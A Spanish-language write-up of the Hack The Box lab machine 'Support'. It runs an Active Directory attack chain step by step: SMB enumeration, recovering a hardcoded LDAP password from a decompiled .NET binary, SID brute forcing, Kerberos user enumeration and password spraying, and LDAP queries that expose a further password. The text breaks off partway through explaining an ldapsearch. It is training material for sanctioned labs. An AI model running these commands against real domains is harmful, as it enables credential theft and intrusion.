Support
Dificultad: Easy - OS: Windows
ยฏ\_( อกยฐ อส อกยฐ)_/ยฏ Machine info
Support se centra en una mรกquina Windows dentro de un entorno de Active Directory y propone un recorrido que combina tรฉcnicas de enumeraciรณn de servicios, ingenierรญa inversa y ataques de delegaciรณn en entornos corporativos. Desde el inicio, se expone un vector de entrada a travรฉs de un recurso compartido SMB que permite acceso anรณnimo. A partir de allรญ, se accede a un ejecutable sospechoso que se analiza mediante decompilaciรณn para descubrir credenciales codificadas que permiten autenticarse en el servicio LDAP de la misma mรกquina. Este primer tramo del reto establece el uso de tรฉcnicas fundamentales de enumeraciรณn de red y anรกlisis estรกtico de binarios.
Una vez obtenido acceso al servicio LDAP gracias a la contraseรฑa extraรญda del ejecutable, el atacante puede realizar consultas al directorio y obtener informaciรณn clave sobre los usuarios. Este descubrimiento revela un usuario legรญtimo del sistema, junto con su contraseรฑa filtrada en un campo del directorio. Con estas credenciales, se obtiene una sesiรณn remota a travรฉs de WinRM, lo cual permite pivotar a una fase mรกs avanzada del ataque. Aquรญ, se recurre a herramientas de post-explotaciรณn como SharpHound y BloodHound para analizar relaciones dentro del dominio, exponiendo privilegios mal configurados que el usuario comprometido tiene sobre el controlador de dominio.
La fase final del desafรญo explota estas configuraciones dรฉbiles mediante un ataque de delegaciรณn restringida basada en recursos (Resource-Based Constrained Delegation). Esta tรฉcnica permite al atacante suplantar identidades dentro del entorno del dominio y ejecutar cรณdigo como el usuario mรกs privilegiado del sistema, NT AUTHORITY\SYSTEM.
Enumeraciรณn de puertos/servicios
โโโ(rootใฟkali)-[/home/kali/Documents/HTB]
โโ# nmap -sCV --open -T4 -v -n 10.10.11.174
๐ Parรกmetros
sCV
:-sC
โ Ejecuta scripts de detecciรณn predeterminados โ Usa los scripts denmap
ubicados en/usr/share/nmap/scripts/
, los cuales buscan informaciรณn adicional en los puertos abiertos.-sV
โ Detecciรณn de versiones โ Intenta identificar el software y su versiรณn en los puertos abiertos.
-n
โ No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open
โ Muestra solo puertos abiertos โ Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4
โ Ajusta la velocidad del escaneo โ T4 es un nivel "agresivo" que acelera el escaneo, รบtil en redes rรกpidas.
-v
โ Modo verbose โ Muestra mรกs detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-12T03:52:11
|_ start_date: N/A
|_clock-skew: -8m58s
En sรญntesis:
| Port | State | Service | Protocol / Version Info |
|----------|-------|---------------|-----------------------------------------------------------------------------------------------
| 53/tcp | open | domain | Simple DNS Plus
| 88/tcp | open | kerberos-sec | Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)
| 135/tcp | open | msrpc | Microsoft Windows RPC
| 139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn
| 389/tcp | open | ldap | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
| 445/tcp | open | microsoft-ds | Unknown version (service detected but not fingerprinted)
| 464/tcp | open | kpasswd5 | Unknown version
| 593/tcp | open | ncacn_http | Microsoft Windows RPC over HTTP 1.0
| 636/tcp | open | tcpwrapped |
| 3268/tcp | open | ldap | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
| 3269/tcp | open | tcpwrapped |
| 5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Aรฑadimos el controlador de dominio (DC) que nos muestra nmap a nuestro archivo /etc/hosts
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# echo "10.10.11.174 support.htb" >> /etc/hosts
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# enum4linux-ng -A support.htb -u SUPPORT/guest -p ""
ENUM4LINUX - next generation (v1.3.4)
==========================
| Target Information |
==========================
[*] Target ........... support.htb
[*] Username ......... 'SUPPORT/guest'
[*] Random Username .. 'bztefksc'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
==========================================================
| Domain Information via SMB session for support.htb |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC
NetBIOS domain name: SUPPORT
DNS domain: support.htb
FQDN: dc.support.htb
Derived membership: domain member
Derived domain: SUPPORT
=====================================
| Shares via RPC on support.htb |
=====================================
[*] Enumerating shares
[+] Found 6 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
IPC$:
comment: Remote IPC
type: IPC
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
support-tools:
comment: support staff tools
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share support-tools
[+] Mapping: OK, Listing: OK
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# echo "10.10.11.174 dc.support.htb" >> /etc/hosts
๐ Parรกmetros
Este comando realiza una enumeraciรณn agresiva sobre el objetivo support.htb
, autenticรกndose como el usuario SUPPORT/guest
con una contraseรฑa vacรญa. Vamos a desglosarlo:
-A
: modo agresivo. Ejecuta todos los mรณdulos disponibles para recopilar la mรกxima cantidad de informaciรณn, incluyendo:Enumeraciรณn de usuarios y grupos.
Listado de shares y permisos.
Informaciรณn sobre el sistema operativo y configuraciรณn del dominio.
Enumeraciรณn de polรญticas de contraseรฑas y SID.
support.htb
: nombre del host objetivo, debe resolverse a una IP vรกlida (por/etc/hosts
o DNS).-u SUPPORT/guest
: usuario con el que se autentica. Aquรญ se usa el dominioSUPPORT
y el nombre de usuarioguest
.-p ""
: contraseรฑa vacรญa (comillas dobles para especificar que es un string vacรญo).
Encontramos el FQDN que tambiรฉn es importante agregarlo al fichero /etc/hosts
. El DNS domain es el contenedor lรณgico (support.htb
), y el FQDN es la identificaciรณn completa de un equipo especรญfico dentro de ese contenedor (dc.support.htb
).
ยฟPor quรฉ es vรกlido usar el usuario guest
en herramientas como enum4linux
?
guest
en herramientas como enum4linux
?En muchos sistemas Windows mal configurados (o con configuraciones predeterminadas antiguas), existe una cuenta de invitado llamada Guest
o guest
que permite autenticaciรณn con privilegios mรญnimos o incluso sin contraseรฑa. Aunque tiene accesos limitados, puede usarse para:
Enumerar shares pรบblicos (
smbclient -L
).Obtener informaciรณn bรกsica del dominio o de usuarios a travรฉs de
rpcclient
oenum4linux
.Validar si el sistema permite autenticaciรณn anรณnima
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# smbclient \\\\support.htb\\support-tools -U SUPPORT/guest
Password for [SUPPORT\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 970318 blocks available
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (145.3 KiloBytes/sec) (average 145.3 KiloBytes/sec)
smb: \> exit
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# strings UserInfo.exe
El recurso que nos interesa descargar para analizar de forma local es el UserInfo.exe.zip
. Si analizamos las secuencias de caracteres con strings
vamos a ver que se trata de un programa codeado en .NET. Entonces lo siguiente que debemos hacer es decompilarlo con alguna tool como ILSpy para analizar su cรณdigo fuente en busca de credenciales hardcodeadas. Para instalar y ejecutar este programa seguimos estos pasos:
$ wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
$ unzip Linux.x64.Release.zip
$ unzip ILSpy-linux-x64-Release.zip
$ cd artifacts/linux-x64
$ chmod +x ILSpy
$ ./ILSpy
Luego descomprimimos el UserInfo.exe.zip
y abrimos el ejecutable con ILSpy
Las funciones crรญticas que nos interesan son LdapQuery
y Protected
, allรญ encontraremos la forma en que el binario codifica las contraseรฑas y tambiรฉn un posible usuario del sistema.
๐ Funciones crรญticas
1. Funciรณn crรญtica: Protected.getPassword()
Protected.getPassword()
Esta funciรณn estรก diseรฑada para ocultar una contraseรฑa embebida dentro del binario. Utiliza una estrategia de ofuscaciรณn comรบn: codifica la contraseรฑa con Base64 y luego aplica una operaciรณn de doble XOR (primero con una clave estรกtica "armando"
y luego con el valor constante 0xDF
). Al ejecutarse, esta funciรณn devuelve la contraseรฑa en texto claro, necesaria para autenticarse en el servidor LDAP.
Importancia crรญtica: Esta funciรณn actรบa como la clave de acceso a los servicios internos del dominio. Oculta credenciales en el binario, pero permite recuperarlas mediante ingenierรญa inversa.
2. Funciรณn crรญtica: LdapQuery()
LdapQuery()
LdapQuery()
es el segundo componente esencial. Una vez que getPassword()
retorna la contraseรฑa en texto claro, esta funciรณn la utiliza para establecer una conexiรณn LDAP contra el servidor support.htb
. Crea un objeto DirectoryEntry
con el usuario support\ldap
y la contraseรฑa obtenida, y luego instancia un DirectorySearcher
que permite consultar objetos del directorio activo.
Importancia crรญtica: Esta funciรณn transforma la contraseรฑa en un vector de acceso real al dominio. Gracias a ella, el binario puede interactuar con el servidor LDAP y realizar consultas, como buscar usuarios por nombre. Es la funcionalidad principal de la herramienta, cuya intenciรณn aparente es listar informaciรณn de usuarios del sistema.
3. Relaciรณn entre ambas funciones
getPassword()
alimenta al la funciรณnLdapQuery()
con la credencial necesaria.LdapQuery()
aprovecha esa credencial para autenticarse y ejecutar bรบsquedas LDAP.Estas dos funciones forman una cadena de ejecuciรณn crรญtica, en la que la primera rompe la ofuscaciรณn y la segunda establece una conexiรณn de red privilegiada.
Juntas, habilitan la extracciรณn de informaciรณn sensible del dominio, como la lista de usuarios, atributos de cuenta, y potencialmente datos filtrados.
Este patrรณn es tรญpico de aplicaciones internas que intentan ocultar credenciales pero que, al quedar embebidas en un ejecutable, pueden ser recuperadas fรกcilmente mediante reversing.
Entonces la contraseรฑa que vamos a descifrar es
0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
La funciรณn
getPassword()
en el binario replica exactamente esta lรณgica:Decodifica la contraseรฑa de Base64.
Aplica un XOR con la clave
"armando"
(cรญclico).Aplica un XOR con
0xDF
.Devuelve la contraseรฑa como string.
La funciรณn
LdapQuery()
usa esta contraseรฑa para conectarse a un servidor LDAP con el usuariosupport\ldap
.
๐ ยฟQuรฉ es XOR?
XOR
(abreviaciรณn de "exclusive OR") es una operaciรณn lรณgica a nivel de bits. Toma dos valores binarios (bits) y devuelve:
1
si son diferentes (uno es 0 y el otro es 1),0
si son iguales (ambos 0 o ambos 1).
A nivel de bytes, si hacรฉs un XOR entre dos bytes, estรกs comparando cada bit uno a uno.
ยฟCรณmo se descifra en CyberChef?
Para revertir este proceso y obtener la contraseรฑa original, replicamos las operaciones en orden inverso:
1. From Base64
Decodificamos el string para obtener los bytes ofuscados.
2. XOR con "armando"
Aplicamos XOR con la clave armando
. Esto revierte la primera capa del cifrado.
3. XOR con DF (hex)
Aplicamos un XOR final con el valor 0xDF
a cada byte. Esto revierte la segunda capa aplicada durante el cifrado.
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# impacket-lookupsid -no-pass 'SUPPORT/guest@support.htb' > users.txt
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# cat users.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at support.htb
[*] StringBinding ncacn_np:support.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1677581083-3380853377-188903654
498: SUPPORT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: SUPPORT\Administrator (SidTypeUser)
501: SUPPORT\Guest (SidTypeUser)
502: SUPPORT\krbtgt (SidTypeUser)
512: SUPPORT\Domain Admins (SidTypeGroup)
513: SUPPORT\Domain Users (SidTypeGroup)
514: SUPPORT\Domain Guests (SidTypeGroup)
515: SUPPORT\Domain Computers (SidTypeGroup)
516: SUPPORT\Domain Controllers (SidTypeGroup)
517: SUPPORT\Cert Publishers (SidTypeAlias)
518: SUPPORT\Schema Admins (SidTypeGroup)
519: SUPPORT\Enterprise Admins (SidTypeGroup)
520: SUPPORT\Group Policy Creator Owners (SidTypeGroup)
521: SUPPORT\Read-only Domain Controllers (SidTypeGroup)
522: SUPPORT\Cloneable Domain Controllers (SidTypeGroup)
525: SUPPORT\Protected Users (SidTypeGroup)
526: SUPPORT\Key Admins (SidTypeGroup)
527: SUPPORT\Enterprise Key Admins (SidTypeGroup)
553: SUPPORT\RAS and IAS Servers (SidTypeAlias)
571: SUPPORT\Allowed RODC Password Replication Group (SidTypeAlias)
572: SUPPORT\Denied RODC Password Replication Group (SidTypeAlias)
1000: SUPPORT\DC$ (SidTypeUser)
1101: SUPPORT\DnsAdmins (SidTypeAlias)
1102: SUPPORT\DnsUpdateProxy (SidTypeGroup)
1103: SUPPORT\Shared Support Accounts (SidTypeGroup)
1104: SUPPORT\ldap (SidTypeUser)
1105: SUPPORT\support (SidTypeUser)
1106: SUPPORT\smith.rosario (SidTypeUser)
1107: SUPPORT\hernandez.stanley (SidTypeUser)
1108: SUPPORT\wilson.shelby (SidTypeUser)
1109: SUPPORT\anderson.damian (SidTypeUser)
1110: SUPPORT\thomas.raphael (SidTypeUser)
1111: SUPPORT\levine.leopoldo (SidTypeUser)
1112: SUPPORT\raven.clifton (SidTypeUser)
1113: SUPPORT\bardot.mary (SidTypeUser)
1114: SUPPORT\cromwell.gerard (SidTypeUser)
1115: SUPPORT\monroe.david (SidTypeUser)
1116: SUPPORT\west.laura (SidTypeUser)
1117: SUPPORT\langley.lucy (SidTypeUser)
1118: SUPPORT\daughtler.mabel (SidTypeUser)
1119: SUPPORT\stoll.rachelle (SidTypeUser)
1120: SUPPORT\ford.victoria (SidTypeUser)
Antes de validar estos usuarios con kerbrute, necesitamos extraer solo los nombres de usuario (sin el dominio ni el RID ni el tipo de objeto), y guardarlos en un archivo limpio, uno por lรญnea. Para hacer esto vamos a usar awk
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# awk -F'\\\\' '/SidTypeUser/ { split($2, a, " "); print a[1] }' users.txt > usernames.txt
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# cat usernames.txt
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
Ahora que tenemos la lista de usuarios seteamos el siguiente comando para validar la lista de usuarios con el dominio
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# kerbrute userenum -d support.htb --dc dc.support.htb usernames.txt -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop
2025/05/15 20:10:11 > Using KDC(s):
2025/05/15 20:10:11 > dc.support.htb:88
2025/05/15 20:10:12 > [+] VALID USERNAME: Administrator@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: DC$@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: hernandez.stanley@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: ldap@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: smith.rosario@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: support@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: wilson.shelby@support.htb
2025/05/15 20:10:12 > [!] krbtgt@support.htb - USER LOCKED OUT
2025/05/15 20:10:12 > [+] VALID USERNAME: anderson.damian@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: Guest@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: raven.clifton@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: levine.leopoldo@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: thomas.raphael@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: cromwell.gerard@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: bardot.mary@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: stoll.rachelle@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: west.laura@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: daughtler.mabel@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: monroe.david@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: langley.lucy@support.htb
2025/05/15 20:10:12 > [+] VALID USERNAME: ford.victoria@support.htb
2025/05/15 20:10:12 > Done! Tested 21 usernames (20 valid) in 0.714 seconds
๐ Parรกmetros
userenum
: modo de enumeraciรณn de usuarios. Envia solicitudes AS_REQ sin preautenticaciรณn para verificar quรฉ usuarios existen (basado en la respuesta del KDC).-d support.htb
: el dominio en el que se estรก realizando la enumeraciรณn. Se utiliza para construir el SPN o principal Kerberos (user@DOMAIN
).--dc dc.support.htb
: servidor objetivo, usualmente el controlador de dominio (Domain Controller). Se conecta al puerto 88 (Kerberos).usernames.txt
: archivo con la lista de posibles usuarios a validar.-v
: salida detallada que indica cuรกl usuario es vรกlido, invรกlido, o si hubo errores de comunicaciรณn.
Una vez que nos aseguramos que todos los usuarios de la lista son vรกlidos podemos buscar el match con la contraseรฑa usando el mรณdulo passwordspray
de kerbrute
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# kerbrute passwordspray -d support.htb --dc dc.support.htb usernames.txt 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop
2025/05/15 20:13:30 > Using KDC(s):
2025/05/15 20:13:30 > dc.support.htb:88
2025/05/15 20:13:31 > [!] Guest@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (14) KDC_ERR_ETYPE_NOSUPP KDC has no support for encryption type
2025/05/15 20:13:31 > [!] krbtgt@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - USER LOCKED OUT
2025/05/15 20:13:31 > [+] VALID LOGIN WITH ERROR: ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz (Clock skew is too great)
2025/05/15 20:13:31 > [!] smith.rosario@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] Administrator@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] wilson.shelby@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] support@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] anderson.damian@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] DC$@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] hernandez.stanley@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] thomas.raphael@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] levine.leopoldo@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] raven.clifton@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] bardot.mary@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] monroe.david@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] cromwell.gerard@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] langley.lucy@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] daughtler.mabel@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] west.laura@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:31 > [!] stoll.rachelle@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:32 > [!] ford.victoria@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password
2025/05/15 20:13:32 > Done! Tested 21 logins (1 successes) in 1.219 seconds
๐ Parรกmetros
passwordspray
: modo de ataque. Usa una sola contraseรฑa contra mรบltiples usuarios para evitar bloqueos de cuenta. Es ideal para ambientes con polรญticas de lockout agresivas.-d support.htb
: define el nombre del dominio de Active Directory. Este valor se usarรก para construir los tickets Kerberos (principalmente en el campouser@REALM
โusuario@support.htb
).--dc dc.support.htb
: indica el FQDN o IP del Domain Controller al que se enviarรกn las solicitudes Kerberos (puerto 88 por defecto).usernames.txt
: archivo de entrada que contiene la lista de usuarios a probar.'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
: contraseรฑa que se probarรก contra todos los usuarios del archivo. Se encierra entre comillas simples para evitar que caracteres como^
,$
,%
sean interpretados por el shell.-v
: modo verbose, imprime el resultado de cada intento, รบtil para anรกlisis en tiempo real.
โ ๏ธ Error detectado: Clock skew is too great (VALID LOGIN WITH ERROR)
Este error significa que hay una diferencia importante de tiempo entre la mรกquina atacante (Kali) y el servidor Kerberos del dominio (dc.support.htb
). Kerberos es muy estricto con el tiempo y, por defecto, no permite diferencias mayores a 5 minutos entre cliente y servidor.
ยฟPor quรฉ es importante?
Kerberos usa timestamps en sus tickets.
Si hay desincronizaciรณn, el servidor puede rechazar tickets vรกlidos creyendo que son viejos, futuros o reusados (ataques de repeticiรณn).
Aunque
kerbrute
detectรณ que las credenciales son correctas, otros ataques Kerberos (como TGT, AS-REP roasting, o Pass-the-Ticket) van a fallar mientras este problema no se corrija.
ยฟCรณmo solucionamos esto? Sincronizando el reloj de Kali automรกticamente:
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# ntpdate dc.support.htb
2025-05-15 22:17:29.815338 (-0400) -538.581818 +/- 0.116179 dc.support.htb 10.10.11.174 s1 no-leap
CLOCK: time stepped by -538.581818
Ahora que tenemos usuario y contraseรฑa vamos a realizar una bรบsqueda LDAP autenticada dentro del dominio support.htb y extraeremos objetos del contenedor Users con el objetivo de hallar mas credenciales expuestas:
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# ldapsearch -x -b 'cn=Users,dc=support,dc=htb' -H ldap://10.10.11.174 -D support\\ldap -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' > ldap.txt
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# cat ldap.txt | grep sAMAccountName
sAMAccountName: krbtgt
sAMAccountName: Domain Computers
sAMAccountName: Domain Controllers
sAMAccountName: Schema Admins
sAMAccountName: Enterprise Admins
sAMAccountName: Cert Publishers
sAMAccountName: Domain Admins
sAMAccountName: Domain Users
sAMAccountName: Domain Guests
sAMAccountName: Group Policy Creator Owners
sAMAccountName: RAS and IAS Servers
sAMAccountName: Allowed RODC Password Replication Group
sAMAccountName: Denied RODC Password Replication Group
sAMAccountName: Read-only Domain Controllers
sAMAccountName: Enterprise Read-only Domain Controllers
sAMAccountName: Cloneable Domain Controllers
sAMAccountName: Protected Users
sAMAccountName: Key Admins
sAMAccountName: Enterprise Key Admins
sAMAccountName: DnsAdmins
sAMAccountName: DnsUpdateProxy
sAMAccountName: Shared Support Accounts
sAMAccountName: ldap
sAMAccountName: support
sAMAccountName: smith.rosario
sAMAccountName: hernandez.stanley
sAMAccountName: wilson.shelby
sAMAccountName: anderson.damian
sAMAccountName: thomas.raphael
sAMAccountName: levine.leopoldo
sAMAccountName: raven.clifton
sAMAccountName: bardot.mary
sAMAccountName: cromwell.gerard
sAMAccountName: monroe.david
sAMAccountName: west.laura
sAMAccountName: langley.lucy
sAMAccountName: daughtler.mabel
sAMAccountName: stoll.rachelle
sAMAccountName: ford.victoria
sAMAccountName: Administrator
sAMAccountName: Guest
๐ Parรกmetros
-x
โ Usa autenticaciรณn simple (no SASL), que permite autenticarse con nombre de usuario y contraseรฑa
-b 'cn=Users,dc=support,dc=htb'
โ Define la base de bรบsqueda en el รกrbol LDAP. En este caso, se estรก buscando en la OU Users
del dominio support.htb
-H ldap://10.10.11.174
โ Direcciรณn del servidor LDAP al que se conecta. El prefijo ldap://
indica que se usa LDAP sin TLS
-D support\ldap
โ Usuario con el que te autenticรกs. En LDAP, el formato DOMINIO\\usuario
es vรกlido en entornos Windows
-w '...'
โ Contraseรฑa del usuario. Estรก entre comillas simples para evitar que caracteres especiales como ^
, $
, %
sean interpretados por Bash.
> ldap.txt
โ Redirige la salida completa del comando al archivo ldap.txt
, para su anรกlisis posterior.
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# ldapsearch -x -H ldap://10.10.11.174 -b 'DC=support,DC=htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -D 'ldap@support.htb' "(CN=support)"
# extended LDIF
#
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (CN=support)
# requesting: ALL
#
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 2
codePage: 0
countryCode: 0
badPasswordTime: 133918354571992344
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z
# search reference
ref: ldap://ForestDnsZones.support.htb/DC=ForestDnsZones,DC=support,DC=htb
# search reference
ref: ldap://DomainDnsZones.support.htb/DC=DomainDnsZones,DC=support,DC=htb
# search reference
ref: ldap://support.htb/CN=Configuration,DC=support,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
๐ Parรกmetros
-x
โ Usa autenticaciรณn simple (nombre de usuario y contraseรฑa).
-H ldap://10.10.11.174
โ Direcciรณn del servidor LDAP sin TLS.
-b 'DC=support,DC=htb'
